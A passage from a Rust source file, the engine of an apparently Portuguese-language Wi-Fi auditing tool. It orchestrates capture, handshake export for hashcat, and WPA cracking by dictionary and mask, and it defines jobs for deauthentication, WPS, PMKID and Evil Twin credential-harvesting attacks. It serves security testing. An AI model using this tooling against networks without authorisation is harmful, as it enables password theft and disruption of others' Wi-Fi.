Files
sabia/crates/sabia-core/src/engine.rs
T
Lucas Rayan a3ca73e610 feat: orquestra as novas funções no engine, CLI e app desktop; resiliência de rede
- engine.rs: expõe Evil Twin (PSK/Enterprise), crack com regras/máscara,
  relatório e exportação .hc22000 pros três front-ends (CLI, servidor web
  da UI, Tauri). set_monitor() agora solta a interface do NetworkManager
  antes de ativar modo monitor e devolve ao desativar — sem isso o NM
  reafirma a própria conexão por cima e a captura cai sozinha pouco
  depois ("está em modo managed"). Evil Twin grava um arquivo de estado
  em disco antes de soltar as interfaces; se o processo morrer no meio
  (Ctrl+C sem handler, kill -9, queda de energia), o próximo início do
  engine desfaz tudo sozinho (self_heal_eviltwin_leftovers) — sem isso as
  duas interfaces ficavam presas em managed=no pro NetworkManager pra
  sempre e o Wi-Fi inteiro sumia do painel do sistema. hostapd/hostapd-wpe
  que morrem na hora de subir agora reportam a saída real capturada em
  log, em vez de um processo "<defunct>" mudo. Novo
  ScanSnapshot.warning: avisa quando a sessão roda >12s sem receber
  nenhum quadro — sintoma de placa que aceita ativar modo monitor sem
  entregar captura de verdade (comum em Wi-Fi interno de notebook).
- sabia-cli (main.rs/web/mod.rs) e o app desktop (Tauri main.rs) ganham
  as rotas/comandos equivalentes pra tudo isso.
2026-10-24 14:54:35 -03:00

3477 lines
125 KiB
Rust

//! Ponte única entre o núcleo e as duas interfaces (servidor local da CLI e
//! o app desktop Tauri): ambos chamam exatamente os mesmos métodos, então
//! qualquer coisa que funcione em um funciona idêntico no outro.
//!
//! Sessões de captura, jobs de quebra, exportação de handshakes e deauth
//! ficam todos aqui — a CLI e a GUI não reimplementam nada.
use crate::audit::AuditLog;
use crate::crack::{self, CrackReport};
use crate::doctor::{self, DoctorReport};
use crate::error::{Result, SabiaError};
use crate::handshake::Handshake;
#[cfg(target_os = "linux")]
use crate::iface::Mode;
use crate::iface::{self, Interface};
use crate::netlink::{self, ChannelInfo};
use crate::pcapreader::PcapReader;
use crate::pcapwriter::PcapWriter;
use crate::scan::{AccessPoint, Client, ScanSnapshot, ScanTable};
use crate::update::{self, UpdateStatus};
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
use std::path::{Path, PathBuf};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::{Arc, Mutex};
#[cfg(any(target_os = "linux", test))]
use std::time::{Duration, Instant};
use std::time::{SystemTime, UNIX_EPOCH};
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ScanOptions {
/// Canal fixo; sem ele, percorre os canais suportados.
pub channel: Option<u32>,
/// `2.4`, `5`, `6` ou `all` (usado quando `channel` é `None`).
pub band: Option<String>,
/// Tempo em cada canal ao pular.
pub hop_ms: u64,
/// Salva os quadros capturados neste `.pcap`.
pub pcap_out: Option<PathBuf>,
/// Encerra sozinho depois de N segundos.
pub duration_secs: Option<u64>,
}
impl Default for ScanOptions {
fn default() -> Self {
Self {
channel: None,
band: None,
hop_ms: 350,
pcap_out: None,
duration_secs: None,
}
}
}
#[derive(Debug, Clone, Serialize)]
pub struct SessionInfo {
pub iface: String,
pub running: bool,
pub channel: Option<u32>,
pub channels: Vec<u32>,
pub frames: u64,
pub aps: usize,
pub clients: usize,
pub handshakes: usize,
pub started_unix: u64,
pub pcap_out: Option<String>,
pub error: Option<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct CrackJobInfo {
pub id: String,
pub iface: String,
pub bssid: Option<String>,
pub station: Option<String>,
pub status: String,
pub tried: u64,
pub started_unix: u64,
pub finished_unix: Option<u64>,
pub report: Option<CrackReport>,
pub error: Option<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct ExportReport {
pub path: String,
pub frames: usize,
pub handshakes: usize,
}
#[derive(Debug, Clone, Serialize)]
pub struct WpsJobInfo {
pub id: String,
pub iface: String,
pub bssid: String,
pub tool: String,
pub status: String,
pub pin: Option<String>,
pub password: Option<String>,
pub output: Vec<String>,
pub error: Option<String>,
pub started_unix: u64,
pub finished_unix: Option<u64>,
pub pid: Option<u32>,
}
#[derive(Debug, Clone, Serialize)]
pub struct EvilTwinJobInfo {
pub id: String,
/// Interface que captura/desautentica o AP real.
pub iface: String,
/// Interface que hospeda o clone (precisa ser outra, em modo AP).
pub ap_iface: String,
pub ssid: String,
pub bssid: String,
pub portal_port: u16,
pub status: String,
/// Quantas vezes alguém submeteu uma senha no portal.
pub attempts: u32,
/// Última tentativa: "correct", "wrong" ou "invalid".
pub last_attempt: Option<String>,
/// Só preenchido quando alguém digita a senha certa — conferida de
/// verdade contra o handshake, não é só o que foi digitado.
pub password: Option<String>,
pub deauth_job: Option<String>,
pub error: Option<String>,
pub started_unix: u64,
pub finished_unix: Option<u64>,
#[serde(skip)]
pub hostapd_pid: Option<u32>,
#[serde(skip)]
pub dnsmasq_pid: Option<u32>,
#[serde(skip)]
pub stop: Option<Arc<AtomicBool>>,
}
/// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X) — ver
/// `eviltwin_enterprise.rs`. Diferente do `EvilTwinJobInfo` (PSK), não tem
/// portal/senha: a credencial é capturada automaticamente pelo próprio
/// handshake EAP, por isso o job só expõe quantas identidades já apareceram
/// no log do hostapd-wpe e o caminho do arquivo pra quebra offline.
#[derive(Debug, Clone, Serialize)]
pub struct EnterpriseTwinJobInfo {
pub id: String,
pub iface: String,
pub ap_iface: String,
pub ssid: String,
pub bssid: String,
pub status: String,
pub captured: u32,
pub last_identity: Option<String>,
pub log_path: String,
pub error: Option<String>,
pub started_unix: u64,
pub finished_unix: Option<u64>,
#[serde(skip)]
pub hostapd_pid: Option<u32>,
}
#[derive(Debug, Clone, Serialize)]
pub struct PmkidReport {
pub iface: String,
pub bssid: String,
pub ssid: Option<String>,
pub station: String,
pub frames_sent: usize,
pub pmkid: Option<String>,
pub handshakes: usize,
pub detail: String,
}
#[derive(Debug, Clone, Serialize)]
pub struct PmfReport {
pub iface: String,
pub bssid: String,
pub station: String,
pub frames_sent: usize,
pub reconnected: bool,
pub packets_before: u64,
pub packets_after: u64,
pub verdict: String,
pub detail: String,
}
#[derive(Debug, Clone, Serialize)]
pub struct HashcatReport {
pub path: String,
pub hashes: usize,
pub handshakes: usize,
}
#[derive(Debug, Clone, Serialize)]
pub struct DeauthReport {
pub iface: String,
pub bssid: String,
pub station: String,
pub reason: u16,
pub frames_sent: usize,
pub direction: String,
pub frame_kind: String,
}
#[derive(Debug, Clone, Serialize)]
pub struct DeauthJobInfo {
pub id: String,
pub iface: String,
pub bssid: String,
pub station: Option<String>,
pub reason: u16,
pub direction: String,
pub frame_kind: String,
pub interval_ms: u64,
pub max_secs: Option<u64>,
pub frames_sent: usize,
pub channel: Option<u32>,
pub stop_on_handshake: bool,
pub handshake: bool,
pub status: String,
pub error: Option<String>,
pub started_unix: u64,
pub finished_unix: Option<u64>,
}
struct DeauthJob {
info: Arc<Mutex<DeauthJobInfo>>,
stop: Arc<AtomicBool>,
handle: Option<std::thread::JoinHandle<()>>,
locked_channel: Option<u32>,
}
struct Session {
table: Arc<Mutex<ScanTable>>,
running: Arc<AtomicBool>,
channel: Arc<Mutex<Option<u32>>>,
locked_channel: Arc<Mutex<Option<u32>>>,
channels: Vec<u32>,
started_unix: u64,
pcap_out: Option<PathBuf>,
error: Arc<Mutex<Option<String>>>,
handle: Option<std::thread::JoinHandle<()>>,
}
pub struct Engine {
sessions: Mutex<HashMap<String, Session>>,
jobs: Mutex<HashMap<String, Arc<Mutex<CrackJobInfo>>>>,
job_seq: AtomicU64,
deauth_jobs: Mutex<HashMap<String, DeauthJob>>,
deauth_seq: AtomicU64,
wps_jobs: Mutex<HashMap<String, Arc<Mutex<WpsJobInfo>>>>,
wps_seq: AtomicU64,
eviltwin_jobs: Mutex<HashMap<String, Arc<Mutex<EvilTwinJobInfo>>>>,
eviltwin_seq: AtomicU64,
enterprise_twin_jobs: Mutex<HashMap<String, Arc<Mutex<EnterpriseTwinJobInfo>>>>,
enterprise_twin_seq: AtomicU64,
audit_path: PathBuf,
audit_lock: Arc<Mutex<()>>,
}
impl Default for Engine {
fn default() -> Self {
Self::new()
}
}
impl Engine {
pub fn new() -> Self {
Self::with_audit_path(PathBuf::from(".sabia-audit.log"))
}
pub fn with_audit_path(path: impl Into<PathBuf>) -> Self {
#[cfg(target_os = "linux")]
self_heal_eviltwin_leftovers();
Self {
sessions: Mutex::new(HashMap::new()),
jobs: Mutex::new(HashMap::new()),
job_seq: AtomicU64::new(0),
deauth_jobs: Mutex::new(HashMap::new()),
deauth_seq: AtomicU64::new(0),
wps_jobs: Mutex::new(HashMap::new()),
wps_seq: AtomicU64::new(0),
eviltwin_jobs: Mutex::new(HashMap::new()),
eviltwin_seq: AtomicU64::new(0),
enterprise_twin_jobs: Mutex::new(HashMap::new()),
enterprise_twin_seq: AtomicU64::new(0),
audit_path: path.into(),
audit_lock: Arc::new(Mutex::new(())),
}
}
pub fn version(&self) -> &'static str {
env!("CARGO_PKG_VERSION")
}
pub fn audit_path(&self) -> &Path {
&self.audit_path
}
/// Chamado pelo handler de SIGINT/SIGTERM do processo que hospeda o
/// engine (CLI/Tauri) antes de sair. Faz sincronamente o que a thread
/// de limpeza do Evil Twin faria no fim normal do job: mata
/// hostapd/dnsmasq, desfaz o iptables e devolve as interfaces pro
/// NetworkManager — sem isso o processo morre com as duas interfaces
/// presas em `managed no` e o Wi-Fi some do painel do sistema até o
/// próximo início do engine rodar `self_heal_eviltwin_leftovers`.
#[cfg(target_os = "linux")]
pub fn shutdown_cleanup(&self) {
use std::process::Command;
let jobs: Vec<_> = self
.eviltwin_jobs
.lock()
.unwrap()
.values()
.cloned()
.collect();
for job in jobs {
let guard = job.lock().unwrap();
if guard.status != "running" {
continue;
}
if let Some(pid) = guard.hostapd_pid {
unsafe { libc::kill(pid as i32, libc::SIGTERM) };
}
if let Some(pid) = guard.dnsmasq_pid {
unsafe { libc::kill(pid as i32, libc::SIGTERM) };
}
for rule in crate::eviltwin::iptables_cleanup_rules(&guard.ap_iface, guard.portal_port)
{
let _ = Command::new("iptables").args(&rule).status();
}
let _ = Command::new("nmcli")
.args(["device", "set", &guard.ap_iface, "managed", "yes"])
.status();
let _ = Command::new("nmcli")
.args(["device", "set", &guard.iface, "managed", "yes"])
.status();
}
let enterprise_jobs: Vec<_> = self
.enterprise_twin_jobs
.lock()
.unwrap()
.values()
.cloned()
.collect();
for job in enterprise_jobs {
let guard = job.lock().unwrap();
if guard.status != "running" {
continue;
}
if let Some(pid) = guard.hostapd_pid {
unsafe { libc::kill(pid as i32, libc::SIGTERM) };
}
let _ = Command::new("nmcli")
.args(["device", "set", &guard.ap_iface, "managed", "yes"])
.status();
let _ = Command::new("nmcli")
.args(["device", "set", &guard.iface, "managed", "yes"])
.status();
}
}
#[cfg(not(target_os = "linux"))]
pub fn shutdown_cleanup(&self) {}
pub fn list_ifaces(&self) -> Result<Vec<Interface>> {
iface::list_wireless()
}
pub fn doctor(&self) -> DoctorReport {
doctor::diagnose(self.version(), &self.audit_path)
}
pub fn set_monitor(&self, name: &str, enable: bool) -> Result<()> {
iface::get(name)?;
if !enable {
self.stop_scan(name);
}
// Visto ao vivo: com a interface ainda sob o NetworkManager, ele
// reage ao modo monitor como uma desconexão e reconecta a interface
// de volta em managed — às vezes rápido o bastante pra já estar
// gerenciada nem dez segundos depois do botão "ativar modo monitor"
// mostrar sucesso, e a captura falha com "está em modo managed"
// mesmo a UI dizendo que deu certo. Solta/devolve a interface pro NM
// antes/depois de trocar o modo (best-effort: segue sem nmcli).
if enable {
let _ = std::process::Command::new("nmcli")
.args(["device", "set", name, "managed", "no"])
.status();
}
let result = netlink::set_monitor_mode(name, enable);
if !enable && result.is_ok() {
let _ = std::process::Command::new("nmcli")
.args(["device", "set", name, "managed", "yes"])
.status();
}
result?;
self.log(
"monitor_mode",
name,
serde_json::json!({ "enable": enable }),
);
Ok(())
}
pub fn channels(&self, name: &str) -> Result<Vec<ChannelInfo>> {
netlink::channels(name)
}
pub fn set_channel(&self, name: &str, channel: u32) -> Result<()> {
netlink::set_channel(name, channel)?;
if let Some(session) = self.sessions.lock().unwrap().get(name) {
*session.channel.lock().unwrap() = Some(channel);
}
self.log(
"set_channel",
name,
serde_json::json!({ "channel": channel }),
);
Ok(())
}
/// Trava a captura em um canal (ou volta a pular canais com `None`).
/// Usado por deauth, PMKID e WPS para não perder o alvo enquanto o
/// ataque está em andamento.
pub fn lock_channel(&self, name: &str, channel: Option<u32>) -> Result<()> {
if let Some(channel) = channel {
netlink::set_channel(name, channel)?;
}
if let Some(session) = self.sessions.lock().unwrap().get(name) {
*session.locked_channel.lock().unwrap() = channel;
if let Some(channel) = channel {
*session.channel.lock().unwrap() = Some(channel);
}
}
self.log(
"lock_channel",
name,
serde_json::json!({ "channel": channel }),
);
Ok(())
}
pub fn start_scan(&self, name: &str) -> Result<()> {
self.start_scan_with(name, ScanOptions::default())
}
#[cfg(target_os = "linux")]
pub fn start_scan_with(&self, name: &str, options: ScanOptions) -> Result<()> {
use crate::capture::RawCapture;
let info = iface::get(name)?;
if info.mode == Mode::Managed {
return Err(SabiaError::InvalidInput(format!(
"{name} está em modo managed; ative o modo monitor antes de capturar"
)));
}
let cap = RawCapture::open(name)?;
cap.set_read_timeout(Duration::from_millis(200))?;
let writer = match options.pcap_out.as_ref() {
Some(path) => Some(PcapWriter::create(path)?),
None => None,
};
let channels = match options.channel {
Some(channel) => vec![channel],
None => netlink::channel_plan(name, options.band.as_deref()).unwrap_or_default(),
};
let hop = Duration::from_millis(options.hop_ms.clamp(100, 5_000));
// Substitui uma sessão anterior (se houver) só depois que a nova
// captura abriu, para não derrubar a antiga se algo falhar.
self.stop_scan(name);
let table = Arc::new(Mutex::new(ScanTable::new()));
let running = Arc::new(AtomicBool::new(true));
let channel = Arc::new(Mutex::new(None));
let locked_channel = Arc::new(Mutex::new(None));
let error = Arc::new(Mutex::new(None));
let started_unix = unix_now();
let pcap_out = options.pcap_out.clone();
let t = table.clone();
let r = running.clone();
let ch = channel.clone();
let lock = locked_channel.clone();
let err_slot = error.clone();
let iface_name = name.to_string();
let audit_path = self.audit_path.clone();
let audit_lock = self.audit_lock.clone();
let deadline = options
.duration_secs
.map(|secs| Instant::now() + Duration::from_secs(secs.max(1)));
let thread_channels = channels.clone();
let handle = std::thread::spawn(move || {
let channels = thread_channels;
let mut writer = writer;
let mut idx = 0usize;
let mut tuned = None;
let mut last_hop = Instant::now();
let mut buf = [0u8; 65535];
if !channels.is_empty() {
let first = channels[0];
if netlink::set_channel(&iface_name, first).is_ok() {
tuned = Some(first);
*ch.lock().unwrap() = Some(first);
}
}
while r.load(Ordering::SeqCst) {
if deadline.is_some_and(|d| Instant::now() >= d) {
break;
}
let locked = *lock.lock().unwrap();
if let Some(target) = locked {
if tuned != Some(target) && netlink::set_channel(&iface_name, target).is_ok() {
tuned = Some(target);
*ch.lock().unwrap() = Some(target);
}
} else if channels.len() > 1 && last_hop.elapsed() >= hop {
idx = (idx + 1) % channels.len();
let next = channels[idx];
if netlink::set_channel(&iface_name, next).is_ok() {
tuned = Some(next);
*ch.lock().unwrap() = Some(next);
}
last_hop = Instant::now();
}
match cap.recv(&mut buf) {
Ok(Some(n)) => {
let frame = &buf[..n];
t.lock().unwrap().ingest(frame);
if let Some(w) = writer.as_mut() {
if let Err(e) = w.write_frame(frame) {
*err_slot.lock().unwrap() = Some(e.to_string());
break;
}
}
}
Ok(None) => {}
Err(e) => {
*err_slot.lock().unwrap() = Some(e.to_string());
break;
}
}
}
if let Some(w) = writer.as_mut() {
let _ = w.flush();
}
r.store(false, Ordering::SeqCst);
let stats = t.lock().unwrap().stats();
append_audit(
&audit_path,
&audit_lock,
"scan_stop",
&iface_name,
&serde_json::json!({
"aps": stats.aps,
"clients": stats.clients,
"handshakes": stats.handshakes,
"frames": stats.frames,
}),
);
});
self.sessions.lock().unwrap().insert(
name.to_string(),
Session {
table,
running,
channel,
locked_channel,
channels,
started_unix,
pcap_out,
error,
handle: Some(handle),
},
);
self.log(
"scan_start",
name,
serde_json::json!({ "options": options }),
);
Ok(())
}
#[cfg(not(target_os = "linux"))]
pub fn start_scan_with(&self, _name: &str, _options: ScanOptions) -> Result<()> {
Err(SabiaError::UnsupportedPlatform)
}
pub fn stop_scan(&self, name: &str) {
let _ = self.stop_deauth_for_iface(name);
let handle = {
let mut sessions = self.sessions.lock().unwrap();
match sessions.get_mut(name) {
Some(session) => {
session.running.store(false, Ordering::SeqCst);
session.handle.take()
}
None => None,
}
};
if let Some(handle) = handle {
let _ = handle.join();
}
}
pub fn list_sessions(&self) -> Vec<SessionInfo> {
let sessions = self.sessions.lock().unwrap();
let mut out: Vec<SessionInfo> = sessions
.iter()
.map(|(name, session)| {
let stats = session.table.lock().unwrap().stats();
SessionInfo {
iface: name.clone(),
running: session.running.load(Ordering::SeqCst),
channel: *session.channel.lock().unwrap(),
channels: session.channels.clone(),
frames: stats.frames,
aps: stats.aps,
clients: stats.clients,
handshakes: stats.handshakes,
started_unix: session.started_unix,
pcap_out: session.pcap_out.as_ref().map(|p| p.display().to_string()),
error: session.error.lock().unwrap().clone(),
}
})
.collect();
out.sort_by(|a, b| a.iface.cmp(&b.iface));
out
}
pub fn scan_snapshot(&self, name: &str) -> Result<ScanSnapshot> {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
})?;
let table = session.table.lock().unwrap();
let analysis = table.analysis();
let stats = table.stats();
let running = session.running.load(Ordering::SeqCst);
// Uma placa pode aceitar o netlink de "modo monitor" (nenhum erro
// na hora de ativar) e ainda assim nunca entregar um quadro de
// verdade pro socket de captura — comum em Wi-Fi interna de
// notebook, cujo firmware ignora o pedido de modo promíscuo. 12s
// dão tempo de sobra pra visitar bastante canal (a cada 350ms) sem
// achar nem um beacon, o que nunca acontece de verdade num ambiente
// com Wi-Fi ao redor — é sinal de que a placa não está entregando
// quadro nenhum, não que o ar está vazio.
let warning = if running
&& stats.frames == 0
&& unix_now().saturating_sub(session.started_unix) >= 12
{
Some(
"Nenhum quadro recebido depois de alguns segundos saltando canais — esta placa pode aceitar ativar o modo monitor sem conseguir capturar de verdade (comum em Wi-Fi interna de notebook). Tente um adaptador USB dedicado a modo monitor/injeção."
.to_string(),
)
} else {
None
};
let snapshot = ScanSnapshot {
iface: name.to_string(),
running,
channel: *session.channel.lock().unwrap(),
stats,
access_points: table.access_points(),
clients: table.clients(),
handshakes: table.handshakes(),
analysis,
error: session.error.lock().unwrap().clone(),
warning,
};
drop(table);
drop(sessions);
Ok(snapshot)
}
/// Compatibilidade com a API antiga: só os APs da sessão.
pub fn scan_results(&self, name: &str) -> Vec<AccessPoint> {
self.sessions
.lock()
.unwrap()
.get(name)
.map(|s| s.table.lock().unwrap().access_points())
.unwrap_or_default()
}
pub fn scan_clients(&self, name: &str) -> Vec<Client> {
self.sessions
.lock()
.unwrap()
.get(name)
.map(|s| s.table.lock().unwrap().clients())
.unwrap_or_default()
}
/// Analisa um `.pcap` offline e devolve o mesmo snapshot da captura ao
/// vivo (sem sessão e sem tocar no rádio).
pub fn analyze_pcap(&self, path: impl AsRef<Path>) -> Result<ScanSnapshot> {
let path = path.as_ref();
let mut reader = PcapReader::open(path)?;
if !reader.supports_80211() {
return Err(SabiaError::InvalidPcap(
"link-type não é 802.11 nem radiotap".into(),
));
}
let mut table = ScanTable::new();
while let Some(frame) = reader.next_frame()? {
table.ingest(&frame.data);
}
let analysis = table.analysis();
Ok(ScanSnapshot {
iface: path.display().to_string(),
running: false,
channel: None,
stats: table.stats(),
access_points: table.access_points(),
clients: table.clients(),
handshakes: table.handshakes(),
analysis,
error: None,
warning: None,
})
}
/// Modelo completo do relatório: snapshot atual + trilha de auditoria.
/// A interface renderiza com Paged.js; a mesma estrutura vira HTML
/// standalone no servidor local.
pub fn report(&self, name: &str) -> Result<crate::report::ReportModel> {
let snapshot = self.scan_snapshot(name)?;
let audit = self.audit_entries(Some(60)).unwrap_or_default();
Ok(crate::report::ReportModel {
title: format!("Auditoria Wi-Fi · {name}"),
version: self.version().to_string(),
iface: snapshot.iface,
running: snapshot.running,
generated_unix: unix_now(),
stats: snapshot.stats,
access_points: snapshot.access_points,
clients: snapshot.clients,
handshakes: snapshot.handshakes,
analysis: snapshot.analysis,
audit,
})
}
pub fn handshakes(&self, name: Option<&str>) -> Vec<crate::handshake::HandshakeInfo> {
let sessions = self.sessions.lock().unwrap();
let mut out = Vec::new();
for (iface_name, session) in sessions.iter() {
if name.is_some_and(|want| want != iface_name) {
continue;
}
out.extend(session.table.lock().unwrap().handshakes());
}
out.sort_by_key(|h| std::cmp::Reverse(h.last_seen_unix));
out
}
pub fn export_handshake(
&self,
name: &str,
bssid: &str,
station: &str,
out: impl AsRef<Path>,
) -> Result<ExportReport> {
let hs = self
.session_handshake(name, bssid, station)?
.ok_or_else(|| SabiaError::InvalidInput("handshake não encontrado".into()))?;
let frames = hs.raw_frames();
if frames.is_empty() {
return Err(SabiaError::InvalidInput(
"handshake sem quadros crus (captura antiga)".into(),
));
}
let path = out.as_ref();
let mut writer = PcapWriter::create(path)?;
for frame in &frames {
writer.write_frame(frame)?;
}
writer.flush()?;
self.log(
"export_handshake",
name,
serde_json::json!({ "bssid": bssid, "station": station, "path": path, "frames": frames.len() }),
);
Ok(ExportReport {
path: path.display().to_string(),
frames: frames.len(),
handshakes: 1,
})
}
pub fn export_all_handshakes(&self, name: &str, out: impl AsRef<Path>) -> Result<ExportReport> {
let entries = {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
})?;
let entries = session.table.lock().unwrap().handshake_entries();
entries
};
let path = out.as_ref();
let mut writer = PcapWriter::create(path)?;
let mut frames = 0usize;
let mut handshakes = 0usize;
for hs in &entries {
let raw = hs.raw_frames();
if raw.is_empty() {
continue;
}
for frame in &raw {
writer.write_frame(frame)?;
frames += 1;
}
handshakes += 1;
}
writer.flush()?;
if handshakes == 0 {
return Err(SabiaError::InvalidInput(
"nenhum handshake com quadros crus para exportar".into(),
));
}
self.log(
"export_handshakes",
name,
serde_json::json!({ "path": path, "frames": frames, "handshakes": handshakes }),
);
Ok(ExportReport {
path: path.display().to_string(),
frames,
handshakes,
})
}
pub fn export_hc22000(
&self,
name: &str,
bssid: &str,
station: &str,
out: impl AsRef<Path>,
) -> Result<HashcatReport> {
let hs = self
.session_handshake(name, bssid, station)?
.ok_or_else(|| SabiaError::InvalidInput("handshake não encontrado".into()))?;
let lines = crate::hashcat::export([&hs]);
if lines.is_empty() {
return Err(SabiaError::InvalidInput(
"handshake sem SSID, PMKID ou mensagem 2 para exportar".into(),
));
}
let path = out.as_ref();
std::fs::write(path, format!("{}\n", lines.join("\n")))?;
self.log(
"export_hc22000",
name,
serde_json::json!({ "bssid": bssid, "station": station, "path": path, "hashes": lines.len() }),
);
Ok(HashcatReport {
path: path.display().to_string(),
hashes: lines.len(),
handshakes: 1,
})
}
pub fn export_all_hc22000(&self, name: &str, out: impl AsRef<Path>) -> Result<HashcatReport> {
let entries = {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
})?;
let table = session.table.lock().unwrap();
table.handshake_entries()
};
let lines = crate::hashcat::export(entries.iter());
if lines.is_empty() {
return Err(SabiaError::InvalidInput(
"nenhum handshake com material para .hc22000".into(),
));
}
let path = out.as_ref();
std::fs::write(path, format!("{}\n", lines.join("\n")))?;
self.log(
"export_hc22000_all",
name,
serde_json::json!({ "path": path, "hashes": lines.len() }),
);
Ok(HashcatReport {
path: path.display().to_string(),
hashes: lines.len(),
handshakes: entries.len(),
})
}
pub fn start_crack(
&self,
name: &str,
bssid: Option<&str>,
station: Option<&str>,
wordlist: impl AsRef<Path>,
apply_rules: bool,
) -> Result<String> {
self.start_crack_inner(
name,
bssid,
station,
Some(wordlist.as_ref().to_path_buf()),
apply_rules,
)
}
/// Quebra com o dicionário embutido (9,7 milhões de senhas reais,
/// filtradas pro comprimento de WPA), sem exigir nenhum arquivo externo.
/// É o padrão do botão “Quebrar senha”.
pub fn start_crack_default(
&self,
name: &str,
bssid: Option<&str>,
station: Option<&str>,
apply_rules: bool,
) -> Result<String> {
self.start_crack_inner(name, bssid, station, None, apply_rules)
}
fn start_crack_inner(
&self,
name: &str,
bssid: Option<&str>,
station: Option<&str>,
wordlist: Option<PathBuf>,
apply_rules: bool,
) -> Result<String> {
if let Some(wordlist) = &wordlist {
if !wordlist.is_file() {
return Err(SabiaError::InvalidInput(format!(
"dicionário não encontrado: {}",
wordlist.display()
)));
}
}
let table = {
let sessions = self.sessions.lock().unwrap();
sessions.get(name).map(|s| s.table.clone()).ok_or_else(|| {
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
})?
};
let hs = {
let table = table.lock().unwrap();
match (bssid, station) {
(Some(b), Some(s)) => table.handshake(b, s).filter(|h| h.is_crackable()).cloned(),
(Some(b), None) => table.first_crackable(Some(b), None).cloned(),
(None, Some(s)) => table.first_crackable(None, Some(s)).cloned(),
(None, None) => table.first_crackable(None, None).cloned(),
}
}
.ok_or_else(|| {
SabiaError::InvalidInput("nenhum handshake quebrável para os filtros informados".into())
})?;
let id = format!("crack-{}", self.job_seq.fetch_add(1, Ordering::SeqCst) + 1);
let job = Arc::new(Mutex::new(CrackJobInfo {
id: id.clone(),
iface: name.to_string(),
bssid: Some(hs.bssid.clone()),
station: Some(hs.station.clone()),
status: "running".into(),
tried: 0,
started_unix: unix_now(),
finished_unix: None,
report: None,
error: None,
}));
self.jobs.lock().unwrap().insert(id.clone(), job.clone());
let audit_path = self.audit_path.clone();
let audit_lock = self.audit_lock.clone();
let iface_name = name.to_string();
let job_thread = job.clone();
let hs_bssid = hs.bssid.clone();
let hs_station = hs.station.clone();
let wordlist_label = wordlist
.as_ref()
.map(|p| p.display().to_string())
.unwrap_or_else(|| "dicionário embutido (9,7 milhões de senhas)".into());
let thread_wordlist = wordlist;
let thread_bssid = hs_bssid.clone();
let thread_station = hs_station.clone();
std::thread::spawn(move || {
let progress_job = job_thread.clone();
let mut progress = move |tried| {
if let Ok(mut j) = progress_job.lock() {
j.tried = tried;
}
};
let result = match &thread_wordlist {
Some(path) => crack::crack_handshake(&hs, path, apply_rules, &mut progress),
None => crack::crack_handshake_default(&hs, apply_rules, &mut progress),
};
let mut guard = job_thread.lock().unwrap();
guard.finished_unix = Some(unix_now());
match result {
Ok(report) => {
guard.status = "done".into();
guard.tried = report.tried;
if let Some(password) = report.password.as_deref() {
table.lock().unwrap().set_password(
&thread_bssid,
&thread_station,
password,
);
append_audit(
&audit_path,
&audit_lock,
"crack_success",
&iface_name,
&serde_json::json!({
"bssid": thread_bssid,
"station": thread_station,
"tried": report.tried,
"elapsed_ms": report.elapsed_ms,
}),
);
}
guard.report = Some(report);
}
Err(e) => {
guard.status = "error".into();
guard.error = Some(e.to_string());
}
}
});
self.log(
"crack_start",
name,
serde_json::json!({ "job": id, "bssid": hs_bssid, "station": hs_station, "wordlist": wordlist_label }),
);
Ok(id)
}
/// Força bruta por máscara (ex.: `?d?d?d?d?d?d?d?d` pra 8 dígitos), sem
/// dicionário. `max_candidates` é um limite de segurança — máscaras
/// grandes (ex.: `?l?l?l?l?l?l?l?l`, 26^8 ≈ 208 bilhões) travariam a
/// máquina por dias; recusa de cara em vez de deixar o job rodar pra
/// sempre sem avisar.
pub fn start_crack_mask(
&self,
name: &str,
bssid: Option<&str>,
station: Option<&str>,
mask: &str,
max_candidates: u64,
) -> Result<String> {
let mask = crate::rules::Mask::parse(mask).map_err(SabiaError::InvalidInput)?;
let total = mask.total().ok_or_else(|| {
SabiaError::InvalidInput("máscara grande demais pra calcular o total".into())
})?;
if total > max_candidates {
return Err(SabiaError::InvalidInput(format!(
"máscara tem {total} combinações, acima do limite de {max_candidates} — \
restrinja a máscara (ex.: menos posições ?a/?l) antes de rodar"
)));
}
let table = {
let sessions = self.sessions.lock().unwrap();
sessions.get(name).map(|s| s.table.clone()).ok_or_else(|| {
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
})?
};
let hs = {
let table = table.lock().unwrap();
match (bssid, station) {
(Some(b), Some(s)) => table.handshake(b, s).filter(|h| h.is_crackable()).cloned(),
(Some(b), None) => table.first_crackable(Some(b), None).cloned(),
(None, Some(s)) => table.first_crackable(None, Some(s)).cloned(),
(None, None) => table.first_crackable(None, None).cloned(),
}
}
.ok_or_else(|| {
SabiaError::InvalidInput("nenhum handshake quebrável para os filtros informados".into())
})?;
let id = format!("crack-{}", self.job_seq.fetch_add(1, Ordering::SeqCst) + 1);
let job = Arc::new(Mutex::new(CrackJobInfo {
id: id.clone(),
iface: name.to_string(),
bssid: Some(hs.bssid.clone()),
station: Some(hs.station.clone()),
status: "running".into(),
tried: 0,
started_unix: unix_now(),
finished_unix: None,
report: None,
error: None,
}));
self.jobs.lock().unwrap().insert(id.clone(), job.clone());
let audit_path = self.audit_path.clone();
let audit_lock = self.audit_lock.clone();
let iface_name = name.to_string();
let job_thread = job.clone();
let hs_bssid = hs.bssid.clone();
let hs_station = hs.station.clone();
let thread_bssid = hs_bssid.clone();
let thread_station = hs_station.clone();
std::thread::spawn(move || {
let progress_job = job_thread.clone();
let mut progress = move |tried| {
if let Ok(mut j) = progress_job.lock() {
j.tried = tried;
}
};
let result = crack::crack_handshake_mask(&hs, &mask, &mut progress);
let mut guard = job_thread.lock().unwrap();
guard.finished_unix = Some(unix_now());
match result {
Ok(report) => {
guard.status = "done".into();
guard.tried = report.tried;
